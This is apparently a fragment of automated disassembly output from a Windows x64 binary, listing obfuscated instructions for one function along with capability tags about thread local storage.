add qword [rsp], 0xffffffffbf696856
add r15b, r15b
call fcn.14088384c
jns 0x140922a86

Function at 0x14093effb
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
push r10
movabs r10, 0x43baeeac6d059a9e
lea rax, [rax + 1]
pushfq
and r10d, 0xa1a43196
xor r10d, 0x3e2aa4b4
and r10, r10
jo 0x14099468f
cmp r10w, 0x443b
setne r10b
setg r10b
mov qword [rsp + r10*4 - 0x7cbacfd0], rax
call fcn.1409a2169
int3